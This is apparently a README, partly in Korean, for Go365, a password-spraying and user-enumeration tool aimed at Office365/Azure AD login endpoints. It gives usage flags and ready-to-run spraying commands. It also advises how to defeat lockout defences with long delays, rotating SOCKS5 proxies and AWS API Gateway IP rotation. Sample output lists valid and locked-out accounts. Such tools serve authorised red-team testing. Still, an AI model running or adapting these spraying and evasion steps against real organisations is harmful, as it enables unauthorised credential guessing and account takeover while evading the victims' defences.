
Office365 사용자 공격 도구
Go365를 사용하기 전에 이 README를 모두 읽어주세요!
Go365는 Office365(현재/곧 Microsoft365)를 사용하는 조직에 대해 사용자 열거* 및 비밀번호 추측 공격을 수행하도록 설계된 도구입니다. Go365는 대부분의 다른 도구가 사용하지 않는 login.microsoftonline.com의 고유한 SOAP API 엔드포인트를 사용합니다. 이메일 주소와 비밀번호로 쿼리하면 엔드포인트는 Azure AD 인증 및 권한 부여 코드로 응답합니다. 이 코드는 Go365에 의해 처리되고 결과가 화면이나 출력 파일에 출력됩니다.
* 사용자 열거는 비밀번호 추측 시도와 함께 수행됩니다. 따라서 사용자 열거만 수행하는 특정 플래그나 기능은 없습니다. 대신 첫 번째 비밀번호 추측 공격을 수행한 다음 결과를 파싱하여 유효한 사용자를 찾으세요.
OS에 맞는 사전 컴파일된 바이너리 다운로드 여기.
소스를 다운로드하여 로컬에서 컴파일.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 2.0
Authors: paveway3, h0useh3ad, S4R1N, EatonChips
Usage:
-h Shows this stuff
Required - Endpoint:
-endpoint [rst or graph] Specify which endpoint to use
: (-endpoint rst) *Classic Go365!* login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response
Required - Usernames and Passwords:
-u <string> Single username to test
: Username with or without "@domain.com"
: Must also provide -d flag to specify the domain
: (-u [email protected])
-ul <file> Username list to use (overrides -u)
: File should contain one username per line
: Usernames can have "@domain.com"
: If no domain is specified, the -d domain is used
: (-ul ./usernamelist.txt)
-p <string> Password to attempt
: Enclose in single quotes if it contains special characters
: (-p password123) or (-p 'p@s$w0|2d')
-pl <file> Password list to use (overrides -p)
: File should contain one password per line
: -delay flag can be used to include a pause between each set of attempts
: (-pl ./passwordlist.txt)
-up <file> Userpass list to use (overrides all the above options)
: One username and password separated by a ":" per line
: Be careful of duplicate usernames!
: (-up ./userpasslist.txt)
Required/Optional - Domain:
-d <string> Domain to test
: Use this if the username or username list does not include "@targetcompany.com"
: (-d targetcompany.com)
Optional:
-w <int> Time to wait between attempts in seconds.
: Default: 1 second. 5 seconds recommended.
: (-w 10)
-delay <int> Delay (in seconds) between sprays when using a password list.
: Default: 60 minutes (3600 seconds) recommended.
: (-delay 7200)
-o <string> Output file to write to
: Will append if file exists, otherwise a file is created
: (-o ./Go365output.out)
-proxy <string> Single SOCKS5 proxy server to use
: IP address and Port separated by a ":"
: SOCKS5 proxy
: (-proxy 127.0.0.1:1080)
-proxyfile <string> A file with a list of SOCKS5 proxy servers to use
: IP address and Port separated by a ":" on each line
: Randomly selects a proxy server to use before each request
: (-proxyfile ./proxyfile.txt)
-url <string> Endpoint to send requests to
: Amazon API Gateway 'Invoke URL'
: Highly recommended that you use this option. Google it, or
: check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Debug mode.
: Print xml response
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
You can even schedule out your entire password guessing campaign using the -pl and -delay flags :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Protip: If you get a lot of "Account locked out" responses, then you might wanna proxy or use an AWS Gateway.
프로 팁: 아마도 실제로 계정을 잠그는 것은 아닐 겁니다.
대상 도메인에 대해 여러 번의 쿼리를 수행한 후, 결과에서 계정이 잠겼다고 보고하기 시작할 수 있습니다.
이 방어가 트리거되면 사용자 열거가 신뢰할 수 없게 됩니다 — 유효한 사용자와 유효하지 않은 사용자에 대한 요청이 무작위로 계정이 잠겼다고 보고하기 때문입니다.
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...
이는 특정 시간 내에 대상 도메인에 대한 유효한 사용자 쿼리 수에 의해 트리거되는 방어 메커니즘입니다. 시도 횟수와 시간 범위는 대상 조직이 임계값을 사용자 지정할 수 있으므로 대상 도메인에 따라 달라집니다.
방어 메커니즘은 시간 및 IP 주소 기반입니다. Go365는 요청 사이의 대기 시간을 포함하고 요청 소스를 분산하기 위한 프록시 옵션을 제공합니다. 대상 도메인의 방어 메커니즘을 우회하려면 긴 대기 시간과 여러 프록시 서버를 사용하세요.
최소 15초의 대기 시간을 권장합니다. -w 15
여전히 "계정 잠김" 응답이 발생하면 요청에 프록시를 사용하기 시작하세요. 프록시 옵션은 SSH SOCKS5 동적 프록시(ssh -D <port> user@proxyserver)에서만 테스트되었습니다.
DO, AWS, Vultr 등에 여러 SOCKS5 프록시를 만들고 다음과 같은 파일을 만드세요:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
도구는 제공된 프록시 서버를 무작위로 순회하며 요청 사이에 지정된 시간만큼 대기합니다.
-w 15 -proxyfile ./proxies.txt
추가적으로, 이 도구가 Amazon API Gateway와 인터페이스할 수 있도록 엔드포인트 URL을 지정할 수 있습니다. https://login.microsoftonline.com/rst2.srf 엔드포인트를 가리키는 게이트웨이를 설정한 다음, -url 매개변수를 제공된 Invoke URL로 설정하세요. 각 요청마다 IP가 순환되어야 합니다.
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login